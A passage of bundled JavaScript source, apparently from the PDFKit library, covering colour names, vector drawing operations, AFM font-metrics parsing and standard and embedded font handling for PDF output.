230],\r\n lightcoral: [240, 128, 128],\r\n lightcyan: [224, 255, 255],\r\n lightgoldenrodyellow: [250, 250, 210],\r\n lightgray: [211, 211, 211],\r\n lightgreen: [144, 238, 144],\r\n lightgrey: [211, 211, 211],\r\n lightpink: [255, 182, 193],\r\n lightsalmon: [255, 160, 122],\r\n lightseagreen: [32, 178, 170],\r\n lightskyblue: [135, 206, 250],\r\n lightslategray: [119, 136, 153],\r\n lightslategrey: [119, 136, 153],\r\n lightsteelblue: [176, 196, 222],\r\n lightyellow: [255, 255, 224],\r\n lime: [0, 255, 0],\r\n limegreen: [50, 205, 50],\r\n linen: [250, 240, 230],\r\n magenta: [255, 0, 255],\r\n maroon: [128, 0, 0],\r\n mediumaquamarine: [102, 205, 170],\r\n mediumblue: [0, 0, 205],\r\n mediumorchid: [186, 85, 211],\r\n mediumpurple: [147, 112, 219],\r\n mediumseagreen: [60, 179, 113],\r\n mediumslateblue: [123, 104, 238],\r\n mediumspringgreen: [0, 250, 154],\r\n mediumturquoise: [72, 209, 204],\r\n mediumvioletred: [199, 21, 133],\r\n midnightblue: [25, 25, 112],\r\n mintcream: [245, 255, 250],\r\n mistyrose: [255, 228, 225],\r\n moccasin: [255, 228, 181],\r\n navajowhite: [255, 222, 173],\r\n navy: [0, 0, 128],\r\n oldlace: [253, 245, 230],\r\n olive: [128, 128, 0],\r\n olivedrab: [107, 142, 35],\r\n orange: [255, 165, 0],\r\n orangered: [255, 69, 0],\r\n orchid: [218, 112, 214],\r\n palegoldenrod: [238, 232, 170],\r\n palegreen: [152, 251, 152],\r\n paleturquoise: [175, 238, 238],\r\n palevioletred: [219, 112, 147],\r\n papayawhip: [255, 239, 213],\r\n peachpuff: [255, 218, 185],\r\n peru: [205, 133, 63],\r\n pink: [255, 192, 203],\r\n plum: [221, 160, 221],\r\n powderblue: [176, 224, 230],\r\n purple: [128, 0, 128],\r\n red: [255, 0, 0],\r\n rosybrown: [188, 143, 143],\r\n royalblue: [65, 105, 225],\r\n saddlebrown: [139, 69, 19],\r\n salmon: [250, 128, 114],\r\n sandybrown: [244, 164, 96],\r\n seagreen: [46, 139, 87],\r\n seashell: [255, 245, 238],\r\n sienna: [160, 82, 45],\r\n silver: [192, 192, 192],\r\n skyblue: [135, 206, 235],\r\n slateblue: [106, 90, 205],\r\n slategray: [112, 128, 144],\r\n slategrey: [112, 128, 144],\r\n snow: [255, 250, 250],\r\n springgreen: [0, 255, 127],\r\n steelblue: [70, 130, 180],\r\n tan: [210, 180, 140],\r\n teal: [0, 128, 128],\r\n thistle: [216, 191, 216],\r\n tomato: [255, 99, 71],\r\n turquoise: [64, 224, 208],\r\n violet: [238, 130, 238],\r\n wheat: [245, 222, 179],\r\n white: [255, 255, 255],\r\n whitesmoke: [245, 245, 245],\r\n yellow: [255, 255, 0],\r\n yellowgreen: [154, 205, 50]\r\n};\r\n","import SVGPath from '../path';\r\nimport PDFObject from '../object';\r\n\r\nconst { number } = PDFObject;\r\n\r\n// This constant is used to approximate a symmetrical arc using a cubic\r\n// Bezier curve.\r\nconst KAPPA = 4.0 * ((Math.sqrt(2) - 1.0) / 3.0);\r\nexport default {\r\n initVector() {\r\n this._ctm = [1, 0, 0, 1, 0, 0]; // current transformation matrix\r\n return (this._ctmStack = []);\r\n },\r\n\r\n save() {\r\n this._ctmStack.push(this._ctm.slice());\r\n // TODO: save/restore colorspace and styles so not setting it unnessesarily all the time?\r\n return this.addContent('q');\r\n },\r\n\r\n restore() {\r\n this._ctm = this._ctmStack.pop() || [1, 0, 0, 1, 0, 0];\r\n return this.addContent('Q');\r\n },\r\n\r\n closePath() {\r\n return this.addContent('h');\r\n },\r\n\r\n lineWidth(w) {\r\n return this.addContent(`${number(w)} w`);\r\n },\r\n\r\n _CAP_STYLES: {\r\n BUTT: 0,\r\n ROUND: 1,\r\n SQUARE: 2\r\n },\r\n\r\n lineCap(c) {\r\n if (typeof c === 'string') {\r\n c = this._CAP_STYLES[c.toUpperCase()];\r\n }\r\n return this.addContent(`${c} J`);\r\n },\r\n\r\n _JOIN_STYLES: {\r\n MITER: 0,\r\n ROUND: 1,\r\n BEVEL: 2\r\n },\r\n\r\n lineJoin(j) {\r\n if (typeof j === 'string') {\r\n j = this._JOIN_STYLES[j.toUpperCase()];\r\n }\r\n return this.addContent(`${j} j`);\r\n },\r\n\r\n miterLimit(m) {\r\n return this.addContent(`${number(m)} M`);\r\n },\r\n\r\n dash(length, options = {}) {\r\n const originalLength = length;\r\n if (!Array.isArray(length)) {\r\n length = [length, options.space || length];\r\n }\r\n\r\n const valid = length.every(x => Number.isFinite(x) && x > 0);\r\n if (!valid) {\r\n throw new Error(\r\n `dash(${JSON.stringify(originalLength)}, ${JSON.stringify(\r\n options\r\n )}) invalid, lengths must be numeric and greater than zero`\r\n );\r\n }\r\n\r\n length = length.map(number).join(' ');\r\n return this.addContent(`[${length}] ${number(options.phase || 0)} d`);\r\n },\r\n\r\n undash() {\r\n return this.addContent('[] 0 d');\r\n },\r\n\r\n moveTo(x, y) {\r\n return this.addContent(`${number(x)} ${number(y)} m`);\r\n },\r\n\r\n lineTo(x, y) {\r\n return this.addContent(`${number(x)} ${number(y)} l`);\r\n },\r\n\r\n bezierCurveTo(cp1x, cp1y, cp2x, cp2y, x, y) {\r\n return this.addContent(\r\n `${number(cp1x)} ${number(cp1y)} ${number(cp2x)} ${number(cp2y)} ${number(\r\n x\r\n )} ${number(y)} c`\r\n );\r\n },\r\n\r\n quadraticCurveTo(cpx, cpy, x, y) {\r\n return this.addContent(\r\n `${number(cpx)} ${number(cpy)} ${number(x)} ${number(y)} v`\r\n );\r\n },\r\n\r\n rect(x, y, w, h) {\r\n return this.addContent(\r\n `${number(x)} ${number(y)} ${number(w)} ${number(h)} re`\r\n );\r\n },\r\n\r\n roundedRect(x, y, w, h, r) {\r\n if (r == null) {\r\n r = 0;\r\n }\r\n r = Math.min(r, 0.5 * w, 0.5 * h);\r\n\r\n // amount to inset control points from corners (see `ellipse`)\r\n const c = r * (1.0 - KAPPA);\r\n\r\n this.moveTo(x + r, y);\r\n this.lineTo(x + w - r, y);\r\n this.bezierCurveTo(x + w - c, y, x + w, y + c, x + w, y + r);\r\n this.lineTo(x + w, y + h - r);\r\n this.bezierCurveTo(x + w, y + h - c, x + w - c, y + h, x + w - r, y + h);\r\n this.lineTo(x + r, y + h);\r\n this.bezierCurveTo(x + c, y + h, x, y + h - c, x, y + h - r);\r\n this.lineTo(x, y + r);\r\n this.bezierCurveTo(x, y + c, x + c, y, x + r, y);\r\n return this.closePath();\r\n },\r\n\r\n ellipse(x, y, r1, r2) {\r\n // based on http://stackoverflow.com/questions/2172798/how-to-draw-an-oval-in-html5-canvas/2173084#2173084\r\n if (r2 == null) {\r\n r2 = r1;\r\n }\r\n x -= r1;\r\n y -= r2;\r\n const ox = r1 * KAPPA;\r\n const oy = r2 * KAPPA;\r\n const xe = x + r1 * 2;\r\n const ye = y + r2 * 2;\r\n const xm = x + r1;\r\n const ym = y + r2;\r\n\r\n this.moveTo(x, ym);\r\n this.bezierCurveTo(x, ym - oy, xm - ox, y, xm, y);\r\n this.bezierCurveTo(xm + ox, y, xe, ym - oy, xe, ym);\r\n this.bezierCurveTo(xe, ym + oy, xm + ox, ye, xm, ye);\r\n this.bezierCurveTo(xm - ox, ye, x, ym + oy, x, ym);\r\n return this.closePath();\r\n },\r\n\r\n circle(x, y, radius) {\r\n return this.ellipse(x, y, radius);\r\n },\r\n\r\n arc(x, y, radius, startAngle, endAngle, anticlockwise) {\r\n if (anticlockwise == null) {\r\n anticlockwise = false;\r\n }\r\n const TWO_PI = 2.0 * Math.PI;\r\n const HALF_PI = 0.5 * Math.PI;\r\n\r\n let deltaAng = endAngle - startAngle;\r\n\r\n if (Math.abs(deltaAng) > TWO_PI) {\r\n // draw only full circle if more than that is specified\r\n deltaAng = TWO_PI;\r\n } else if (deltaAng !== 0 && anticlockwise !== deltaAng < 0) {\r\n // necessary to flip direction of rendering\r\n const dir = anticlockwise ? -1 : 1;\r\n deltaAng = dir * TWO_PI + deltaAng;\r\n }\r\n\r\n const numSegs = Math.ceil(Math.abs(deltaAng) / HALF_PI);\r\n const segAng = deltaAng / numSegs;\r\n const handleLen = (segAng / HALF_PI) * KAPPA * radius;\r\n let curAng = startAngle;\r\n\r\n // component distances between anchor point and control point\r\n let deltaCx = -Math.sin(curAng) * handleLen;\r\n let deltaCy = Math.cos(curAng) * handleLen;\r\n\r\n // anchor point\r\n let ax = x + Math.cos(curAng) * radius;\r\n let ay = y + Math.sin(curAng) * radius;\r\n\r\n // calculate and render segments\r\n this.moveTo(ax, ay);\r\n\r\n for (let segIdx = 0; segIdx < numSegs; segIdx++) {\r\n // starting control point\r\n const cp1x = ax + deltaCx;\r\n const cp1y = ay + deltaCy;\r\n\r\n // step angle\r\n curAng += segAng;\r\n\r\n // next anchor point\r\n ax = x + Math.cos(curAng) * radius;\r\n ay = y + Math.sin(curAng) * radius;\r\n\r\n // next control point delta\r\n deltaCx = -Math.sin(curAng) * handleLen;\r\n deltaCy = Math.cos(curAng) * handleLen;\r\n\r\n // ending control point\r\n const cp2x = ax - deltaCx;\r\n const cp2y = ay - deltaCy;\r\n\r\n // render segment\r\n this.bezierCurveTo(cp1x, cp1y, cp2x, cp2y, ax, ay);\r\n }\r\n\r\n return this;\r\n },\r\n\r\n polygon(...points) {\r\n this.moveTo(...(points.shift() || []));\r\n for (let point of points) {\r\n this.lineTo(...(point || []));\r\n }\r\n return this.closePath();\r\n },\r\n\r\n path(path) {\r\n SVGPath.apply(this, path);\r\n return this;\r\n },\r\n\r\n _windingRule(rule) {\r\n if (/even-?odd/.test(rule)) {\r\n return '*';\r\n }\r\n\r\n return '';\r\n },\r\n\r\n fill(color, rule) {\r\n if (/(even-?odd)|(non-?zero)/.test(color)) {\r\n rule = color;\r\n color = null;\r\n }\r\n\r\n if (color) {\r\n this.fillColor(color);\r\n }\r\n return this.addContent(`f${this._windingRule(rule)}`);\r\n },\r\n\r\n stroke(color) {\r\n if (color) {\r\n this.strokeColor(color);\r\n }\r\n return this.addContent('S');\r\n },\r\n\r\n fillAndStroke(fillColor, strokeColor, rule) {\r\n if (strokeColor == null) {\r\n strokeColor = fillColor;\r\n }\r\n const isFillRule = /(even-?odd)|(non-?zero)/;\r\n if (isFillRule.test(fillColor)) {\r\n rule = fillColor;\r\n fillColor = null;\r\n }\r\n\r\n if (isFillRule.test(strokeColor)) {\r\n rule = strokeColor;\r\n strokeColor = fillColor;\r\n }\r\n\r\n if (fillColor) {\r\n this.fillColor(fillColor);\r\n this.strokeColor(strokeColor);\r\n }\r\n\r\n return this.addContent(`B${this._windingRule(rule)}`);\r\n },\r\n\r\n clip(rule) {\r\n return this.addContent(`W${this._windingRule(rule)} n`);\r\n },\r\n\r\n transform(m11, m12, m21, m22, dx, dy) {\r\n // keep track of the current transformation matrix\r\n const m = this._ctm;\r\n const [m0, m1, m2, m3, m4, m5] = m;\r\n m[0] = m0 * m11 + m2 * m12;\r\n m[1] = m1 * m11 + m3 * m12;\r\n m[2] = m0 * m21 + m2 * m22;\r\n m[3] = m1 * m21 + m3 * m22;\r\n m[4] = m0 * dx + m2 * dy + m4;\r\n m[5] = m1 * dx + m3 * dy + m5;\r\n\r\n const values = [m11, m12, m21, m22, dx, dy].map(v => number(v)).join(' ');\r\n return this.addContent(`${values} cm`);\r\n },\r\n\r\n translate(x, y) {\r\n return this.transform(1, 0, 0, 1, x, y);\r\n },\r\n\r\n rotate(angle, options = {}) {\r\n let y;\r\n const rad = (angle * Math.PI) / 180;\r\n const cos = Math.cos(rad);\r\n const sin = Math.sin(rad);\r\n let x = (y = 0);\r\n\r\n if (options.origin != null) {\r\n [x, y] = options.origin;\r\n const x1 = x * cos - y * sin;\r\n const y1 = x * sin + y * cos;\r\n x -= x1;\r\n y -= y1;\r\n }\r\n\r\n return this.transform(cos, sin, -sin, cos, x, y);\r\n },\r\n\r\n scale(xFactor, yFactor, options = {}) {\r\n let y;\r\n if (yFactor == null) {\r\n yFactor = xFactor;\r\n }\r\n if (typeof yFactor === 'object') {\r\n options = yFactor;\r\n yFactor = xFactor;\r\n }\r\n\r\n let x = (y = 0);\r\n if (options.origin != null) {\r\n [x, y] = options.origin;\r\n x -= xFactor * x;\r\n y -= yFactor * y;\r\n }\r\n\r\n return this.transform(xFactor, 0, 0, yFactor, x, y);\r\n }\r\n};\r\n","import fs from 'fs';\r\n\r\nconst WIN_ANSI_MAP = {\r\n 402: 131,\r\n 8211: 150,\r\n 8212: 151,\r\n 8216: 145,\r\n 8217: 146,\r\n 8218: 130,\r\n 8220: 147,\r\n 8221: 148,\r\n 8222: 132,\r\n 8224: 134,\r\n 8225: 135,\r\n 8226: 149,\r\n 8230: 133,\r\n 8364: 128,\r\n 8240: 137,\r\n 8249: 139,\r\n 8250: 155,\r\n 710: 136,\r\n 8482: 153,\r\n 338: 140,\r\n 339: 156,\r\n 732: 152,\r\n 352: 138,\r\n 353: 154,\r\n 376: 159,\r\n 381: 142,\r\n 382: 158\r\n};\r\n\r\nconst characters = `\\\r\n.notdef .notdef .notdef .notdef\r\n.notdef .notdef .notdef .notdef\r\n.notdef .notdef .notdef .notdef\r\n.notdef .notdef .notdef .notdef\r\n.notdef .notdef .notdef .notdef\r\n.notdef .notdef .notdef .notdef\r\n.notdef .notdef .notdef .notdef\r\n.notdef .notdef .notdef .notdef\r\n \r\nspace exclam quotedbl numbersign\r\ndollar percent ampersand quotesingle\r\nparenleft parenright asterisk plus\r\ncomma hyphen period slash\r\nzero one two three\r\nfour five six seven\r\neight nine colon semicolon\r\nless equal greater question\r\n \r\nat A B C\r\nD E F G\r\nH I J K\r\nL M N O\r\nP Q R S\r\nT U V W\r\nX Y Z bracketleft\r\nbackslash bracketright asciicircum underscore\r\n \r\ngrave a b c\r\nd e f g\r\nh i j k\r\nl m n o\r\np q r s\r\nt u v w\r\nx y z braceleft\r\nbar braceright asciitilde .notdef\r\n \r\nEuro .notdef quotesinglbase florin\r\nquotedblbase ellipsis dagger daggerdbl\r\ncircumflex perthousand Scaron guilsinglleft\r\nOE .notdef Zcaron .notdef\r\n.notdef quoteleft quoteright quotedblleft\r\nquotedblright bullet endash emdash\r\ntilde trademark scaron guilsinglright\r\noe .notdef zcaron ydieresis\r\n \r\nspace exclamdown cent sterling\r\ncurrency yen brokenbar section\r\ndieresis copyright ordfeminine guillemotleft\r\nlogicalnot hyphen registered macron\r\ndegree plusminus twosuperior threesuperior\r\nacute mu paragraph periodcentered\r\ncedilla onesuperior ordmasculine guillemotright\r\nonequarter onehalf threequarters questiondown\r\n \r\nAgrave Aacute Acircumflex Atilde\r\nAdieresis Aring AE Ccedilla\r\nEgrave Eacute Ecircumflex Edieresis\r\nIgrave Iacute Icircumflex Idieresis\r\nEth Ntilde Ograve Oacute\r\nOcircumflex Otilde Odieresis multiply\r\nOslash Ugrave Uacute Ucircumflex\r\nUdieresis Yacute Thorn germandbls\r\n \r\nagrave aacute acircumflex atilde\r\nadieresis aring ae ccedilla\r\negrave eacute ecircumflex edieresis\r\nigrave iacute icircumflex idieresis\r\neth ntilde ograve oacute\r\nocircumflex otilde odieresis divide\r\noslash ugrave uacute ucircumflex\r\nudieresis yacute thorn ydieresis\\\r\n`.split(/\\s+/);\r\n\r\nclass AFMFont {\r\n static open(filename) {\r\n return new AFMFont(fs.readFileSync(filename, 'utf8'));\r\n }\r\n\r\n constructor(contents) {\r\n this.contents = contents;\r\n this.attributes = {};\r\n this.glyphWidths = {};\r\n this.boundingBoxes = {};\r\n this.kernPairs = {};\r\n\r\n this.parse();\r\n // todo: remove charWidths since appears to not be used\r\n this.charWidths = new Array(256);\r\n for (let char = 0; char <= 255; char++) {\r\n this.charWidths[char] = this.glyphWidths[characters[char]];\r\n }\r\n\r\n this.bbox = this.attributes['FontBBox'].split(/\\s+/).map(e => +e);\r\n this.ascender = +(this.attributes['Ascender'] || 0);\r\n this.descender = +(this.attributes['Descender'] || 0);\r\n this.xHeight = +(this.attributes['XHeight'] || 0);\r\n this.capHeight = +(this.attributes['CapHeight'] || 0);\r\n this.lineGap =\r\n this.bbox[3] - this.bbox[1] - (this.ascender - this.descender);\r\n }\r\n\r\n parse() {\r\n let section = '';\r\n for (let line of this.contents.split('\\n')) {\r\n var match;\r\n var a;\r\n if ((match = line.match(/^Start(\\w+)/))) {\r\n section = match[1];\r\n continue;\r\n } else if ((match = line.match(/^End(\\w+)/))) {\r\n section = '';\r\n continue;\r\n }\r\n\r\n switch (section) {\r\n case 'FontMetrics':\r\n match = line.match(/(^\\w+)\\s+(.*)/);\r\n var key = match[1];\r\n var value = match[2];\r\n\r\n if ((a = this.attributes[key])) {\r\n if (!Array.isArray(a)) {\r\n a = this.attributes[key] = [a];\r\n }\r\n a.push(value);\r\n } else {\r\n this.attributes[key] = value;\r\n }\r\n break;\r\n\r\n case 'CharMetrics':\r\n if (!/^CH?\\s/.test(line)) {\r\n continue;\r\n }\r\n var name = line.match(/\\bN\\s+(\\.?\\w+)\\s*;/)[1];\r\n this.glyphWidths[name] = +line.match(/\\bWX\\s+(\\d+)\\s*;/)[1];\r\n break;\r\n\r\n case 'KernPairs':\r\n match = line.match(/^KPX\\s+(\\.?\\w+)\\s+(\\.?\\w+)\\s+(-?\\d+)/);\r\n if (match) {\r\n this.kernPairs[match[1] + '\\0' + match[2]] = parseInt(match[3]);\r\n }\r\n break;\r\n }\r\n }\r\n }\r\n\r\n encodeText(text) {\r\n const res = [];\r\n for (let i = 0, len = text.length; i < len; i++) {\r\n let char = text.charCodeAt(i);\r\n char = WIN_ANSI_MAP[char] || char;\r\n res.push(char.toString(16));\r\n }\r\n\r\n return res;\r\n }\r\n\r\n glyphsForString(string) {\r\n const glyphs = [];\r\n\r\n for (let i = 0, len = string.length; i < len; i++) {\r\n const charCode = string.charCodeAt(i);\r\n glyphs.push(this.characterToGlyph(charCode));\r\n }\r\n\r\n return glyphs;\r\n }\r\n\r\n characterToGlyph(character) {\r\n return characters[WIN_ANSI_MAP[character] || character] || '.notdef';\r\n }\r\n\r\n widthOfGlyph(glyph) {\r\n return this.glyphWidths[glyph] || 0;\r\n }\r\n\r\n getKernPair(left, right) {\r\n return this.kernPairs[left + '\\0' + right] || 0;\r\n }\r\n\r\n advancesForGlyphs(glyphs) {\r\n const advances = [];\r\n\r\n for (let index = 0; index < glyphs.length; index++) {\r\n const left = glyphs[index];\r\n const right = glyphs[index + 1];\r\n advances.push(this.widthOfGlyph(left) + this.getKernPair(left, right));\r\n }\r\n\r\n return advances;\r\n }\r\n}\r\n\r\nexport default AFMFont;\r\n","class PDFFont {\r\n constructor() {}\r\n\r\n encode() {\r\n throw new Error('Must be implemented by subclasses');\r\n }\r\n\r\n widthOfString() {\r\n throw new Error('Must be implemented by subclasses');\r\n }\r\n\r\n ref() {\r\n return this.dictionary != null\r\n ? this.dictionary\r\n : (this.dictionary = this.document.ref());\r\n }\r\n\r\n finalize() {\r\n if (this.embedded || this.dictionary == null) {\r\n return;\r\n }\r\n\r\n this.embed();\r\n return (this.embedded = true);\r\n }\r\n\r\n embed() {\r\n throw new Error('Must be implemented by subclasses');\r\n }\r\n\r\n lineHeight(size, includeGap) {\r\n if (includeGap == null) {\r\n includeGap = false;\r\n }\r\n const gap = includeGap ? this.lineGap : 0;\r\n return ((this.ascender + gap - this.descender) / 1000) * size;\r\n }\r\n}\r\n\r\nexport default PDFFont;\r\n","import AFMFont from './afm';\r\nimport PDFFont from '../font';\r\nimport fs from 'fs';\r\n\r\n// This insanity is so bundlers can inline the font files\r\nconst STANDARD_FONTS = {\r\n Courier() {\r\n return fs.readFileSync(__dirname + '/data/Courier.afm', 'utf8');\r\n },\r\n 'Courier-Bold'() {\r\n return fs.readFileSync(__dirname + '/data/Courier-Bold.afm', 'utf8');\r\n },\r\n 'Courier-Oblique'() {\r\n return fs.readFileSync(__dirname + '/data/Courier-Oblique.afm', 'utf8');\r\n },\r\n 'Courier-BoldOblique'() {\r\n return fs.readFileSync(__dirname + '/data/Courier-BoldOblique.afm', 'utf8');\r\n },\r\n Helvetica() {\r\n return fs.readFileSync(__dirname + '/data/Helvetica.afm', 'utf8');\r\n },\r\n 'Helvetica-Bold'() {\r\n return fs.readFileSync(__dirname + '/data/Helvetica-Bold.afm', 'utf8');\r\n },\r\n 'Helvetica-Oblique'() {\r\n return fs.readFileSync(__dirname + '/data/Helvetica-Oblique.afm', 'utf8');\r\n },\r\n 'Helvetica-BoldOblique'() {\r\n return fs.readFileSync(\r\n __dirname + '/data/Helvetica-BoldOblique.afm',\r\n 'utf8'\r\n );\r\n },\r\n 'Times-Roman'() {\r\n return fs.readFileSync(__dirname + '/data/Times-Roman.afm', 'utf8');\r\n },\r\n 'Times-Bold'() {\r\n return fs.readFileSync(__dirname + '/data/Times-Bold.afm', 'utf8');\r\n },\r\n 'Times-Italic'() {\r\n return fs.readFileSync(__dirname + '/data/Times-Italic.afm', 'utf8');\r\n },\r\n 'Times-BoldItalic'() {\r\n return fs.readFileSync(__dirname + '/data/Times-BoldItalic.afm', 'utf8');\r\n },\r\n Symbol() {\r\n return fs.readFileSync(__dirname + '/data/Symbol.afm', 'utf8');\r\n },\r\n ZapfDingbats() {\r\n return fs.readFileSync(__dirname + '/data/ZapfDingbats.afm', 'utf8');\r\n }\r\n};\r\n\r\nclass StandardFont extends PDFFont {\r\n constructor(document, name, id) {\r\n super();\r\n this.document = document;\r\n this.name = name;\r\n this.id = id;\r\n this.font = new AFMFont(STANDARD_FONTS[this.name]());\r\n ({\r\n ascender: this.ascender,\r\n descender: this.descender,\r\n bbox: this.bbox,\r\n lineGap: this.lineGap,\r\n xHeight: this.xHeight,\r\n capHeight: this.capHeight\r\n } = this.font);\r\n }\r\n\r\n embed() {\r\n this.dictionary.data = {\r\n Type: 'Font',\r\n BaseFont: this.name,\r\n Subtype: 'Type1',\r\n Encoding: 'WinAnsiEncoding'\r\n };\r\n\r\n return this.dictionary.end();\r\n }\r\n\r\n encode(text) {\r\n const encoded = this.font.encodeText(text);\r\n const glyphs = this.font.glyphsForString(`${text}`);\r\n const advances = this.font.advancesForGlyphs(glyphs);\r\n const positions = [];\r\n for (let i = 0; i < glyphs.length; i++) {\r\n const glyph = glyphs[i];\r\n positions.push({\r\n xAdvance: advances[i],\r\n yAdvance: 0,\r\n xOffset: 0,\r\n yOffset: 0,\r\n advanceWidth: this.font.widthOfGlyph(glyph)\r\n });\r\n }\r\n\r\n return [encoded, positions];\r\n }\r\n\r\n widthOfString(string, size) {\r\n const glyphs = this.font.glyphsForString(`${string}`);\r\n const advances = this.font.advancesForGlyphs(glyphs);\r\n\r\n let width = 0;\r\n for (let advance of advances) {\r\n width += advance;\r\n }\r\n\r\n const scale = size / 1000;\r\n return width * scale;\r\n }\r\n\r\n static isStandardFont(name) {\r\n return name in STANDARD_FONTS;\r\n }\r\n}\r\n\r\nexport default StandardFont;\r\n","import PDFFont from '../font';\r\n\r\nconst toHex = function(num) {\r\n return `0000${num.toString(16)}`.slice(-4);\r\n};\r\n\r\nclass EmbeddedFont extends PDFFont {\r\n constructor(document, font, id) {\r\n super();\r\n this.document = document;\r\n this.font = font;\r\n this.id = id;\r\n this.subset = this.font.createSubset();\r\n this.unicode = [[0]];\r\n this.widths = [this.font.getGlyph(0).advanceWidth];\r\n\r\n this.name = this.font.postscriptName;\r\n this.scale = 1000 / this.font.unitsPerEm;\r\n this.ascender = this.font.ascent * this.scale;\r\n this.descender = this.font.descent * this.scale;\r\n this.xHeight = this.font.xHeight * this.scale;\r\n this.capHeight = this.font.capHeight * this.scale;\r\n this.lineGap = this.font.lineGap * this.scale;\r\n this.bbox = this.font.bbox;\r\n\r\n if (document.options.fontLayoutCache !== false) {\r\n this.layoutCache = Object.create(null);\r\n }\r\n }\r\n\r\n layoutRun(text, features) {\r\n const run = this.font.layout(text, features);\r\n\r\n // Normalize position values\r\n for (let i = 0; i < run.positions.length; i++) {\r\n const position = run.positions[i];\r\n for (let key in position) {\r\n position[key] *= this.scale;\r\n }\r\n\r\n position.advanceWidth = run.glyphs[i].advanceWidth * this.scale;\r\n }\r\n\r\n return run;\r\n }\r\n\r\n layoutCached(text) {\r\n if (!this.layoutCache) {\r\n return this.layoutRun(text);\r\n }\r\n let cached;\r\n if ((cached = this.layoutCache[text])) {\r\n return cached;\r\n }\r\n\r\n const run = this.layoutRun(text);\r\n this.layoutCache[text] = run;\r\n return run;\r\n }\r\n\r\n layout(text, features, onlyWidth) {\r\n // Skip the cache if any user defined features are applied\r\n if (features) {\r\n return this.layoutRun(text, features);\r\n }\r\n\r\n let glyphs = onlyWidth ? null : [];\r\n let positions = onlyWidth ? null : [];\r\n let advanceWidth = 0;\r\n\r\n // Split the string by words to increase cache efficiency.\r\n // For this purpose, spaces and tabs are a good enough delimeter.\r\n let last = 0;\r\n let index = 0;\r\n while (index <= text.length) {\r\n var needle;\r\n if (\r\n (index === text.length && last < index) ||\r\n ((needle = text.charAt(index)), [' ', '\\t'].includes(needle))\r\n ) {\r\n const run = this.layoutCached(text.slice(last, ++index));\r\n if (!onlyWidth) {\r\n glyphs = glyphs.concat(run.glyphs);\r\n positions = positions.concat(run.positions);\r\n }\r\n\r\n advanceWidth += run.advanceWidth;\r\n last = index;\r\n } else {\r\n index++;\r\n }\r\n }\r\n\r\n return { glyphs, positions, advanceWidth };\r\n }\r\n\r\n encode(text, features) {\r\n const { glyphs, positions } = this.layout(text, features);\r\n\r\n const res = [];\r\n for (let i = 0; i < glyphs.length; i++) {\r\n const glyph = glyphs[i];\r\n const gid = this.subset.includeGlyph(glyph.id);\r\n res.push(`0000${gid.toString(16)}`.slice(-4));\r\n\r\n if (this.widths[gid] == null) {\r\n this.widths[gid] = glyph.advanceWidth * this.scale;\r\n }\r\n if (this.unicode[gid] == null) {\r\n this.unicode[gid] = glyph.codePoints;\r\n }\r\n }\r\n\r\n return [res, positions];\r\n }\r\n\r\n widthOfString(string, size, features) {\r\n const width = this.layout(string, features, true).advanceWidth;\r\n const scale = size / 1000;\r\n return width * scale;\r\n }\r\n\r\n embed() {\r\n const isCFF = this.subset.cff != null;\r\n const fontFile = this.document.ref();\r\n\r\n if (isCFF) {\r\n fontFile.data.Subtype = 'CIDFontType0C';\r\n }\r\n\r\n this.subset\r\n .encodeStream()\r\n .on('data', data => fontFile.write(data))\r\n .on('end', () => fontFile.end());\r\n\r\n const familyClass =\r\n ((this.font['OS/2'] != null\r\n ? this.font['OS/2'].sFamilyClass\r\n : undefined) || 0) >> 8;\r\n let flags = 0;\r\n if (this.font.post.isFixedPitch) {\r\n flags |= 1 << 0;\r\n }\r\n if (1 <= familyClass && familyClass <= 7) {\r\n flags |= 1 << 1;\r\n }\r\n flags |= 1 << 2; // assume the font uses non-latin characters\r\n if (familyClass === 10) {\r\n flags |= 1 << 3;\r\n }\r\n if (this.font.head.macStyle.italic) {\r\n flags |= 1 << 6;\r\n }\r\n\r\n // generate a tag (6 uppercase letters. 17 is the char code offset from '0' to 'A'. 73 will map to 'Z')\r\n const tag = [1, 2, 3, 4, 5, 6]\r\n .map(i => String.fromCharCode((this.id.charCodeAt(i) || 73) + 17))\r\n .join('');\r\n const name = tag + '+' + this.font.postscriptName;\r\n\r\n const { bbox } = this.font;\r\n const descriptor = this.document.ref({\r\n Type: 'FontDescriptor',\r\n FontName: name,\r\n Flags: flags,\r\n FontBBox: [\r\n bbox.minX * this.scale,\r\n bbox.minY * this.scale,\r\n bbox.maxX * this.scale,\r\n bbox.maxY * this.scale\r\n ],\r\n ItalicAngle: this.font.italicAngle,\r\n Ascent: this.ascender,\r\n Descent: this.descender,\r\n CapHeight: (this.font.capHeight || this.font.ascent) * this.scale,\r\n XHeight: (this.font.xHeight || 0) * this.scale,\r\n StemV: 0\r\n }); // not sure how to calculate this\r\n\r\n if (isCFF) {\r\n descriptor.data.FontFile3 = fontFile;\r\n } else {\r\n descriptor.data.FontFile2 = fontFile;\r\n }\r\n\r\n descriptor.end();\r\n\r\n const descendantFontData = {\r\n Type: 'Font',\r\n Subtype: 'CIDFontType0',\r\n BaseFont: name,\r\n CIDSystemInfo: {\r\n Registry: new String('Adobe'),\r\n Ordering: new String('Identity'),\r\n Supplement: 0\r\n },\r\n FontDescriptor: descriptor,\r\n W: [0, this.widths]\r\n };\r\n\r\n if (!isCFF) {\r\n descendantFontData.Subtype = 'CIDFontType2';\r\n descendantFontData.CIDToGIDMap = 'Identity';\r\n }\r\n\r\n const descendantFont = this.document.ref(descendantFontData);\r\n\r\n descendantFont.end();\r\n\r\n this.dictionary.data = {\r\n Type: 'Font',\r\n Subtype: 'Type0',\r\n BaseFont: name,\r\n Encoding: 'Identity-H',\r\n DescendantFonts: [descendantFont],\r\n ToUnicode: this.toUnicodeCmap()\r\n };\r\n\r\n return this.dictionary.end();\r\n }\r\n\r\n // Maps the glyph ids encoded in the PDF back to unicode strings\r\n // Because of ligature substitutions and the like, there may be one or more\r\n // unicode characters represented by each glyph.\r\n toUnicodeCmap() {\r\n const cmap = this.document.ref();\r\n\r\n const entries = [];\r\n for (let codePoints of this.unicode) {\r\n const encoded = [];\r\n\r\n // encode codePoints to utf16\r\n for (let value of codePoints) {\r\n if (value > 0xffff) {\r\n value -= 0x10000;\r\n encoded.push(toHex(((value >>> 10) & 0x3ff) | 0xd800));\r\n value = 0xdc00 | (value & 0x3ff);\r\n }\r\n\r\n encoded.push(toHex(value));\r\n }\r\n\r\n entries.push(`<${encoded.join(' ')}>`);\r\n }\r\n\r\n cmap.end(`\\\r\n/CIDInit /ProcSet findresource begin\r\n12 dict begin\r\nbegincmap\r\n/CIDSystemInfo <<\r\n /Registry (Adobe)\r\n 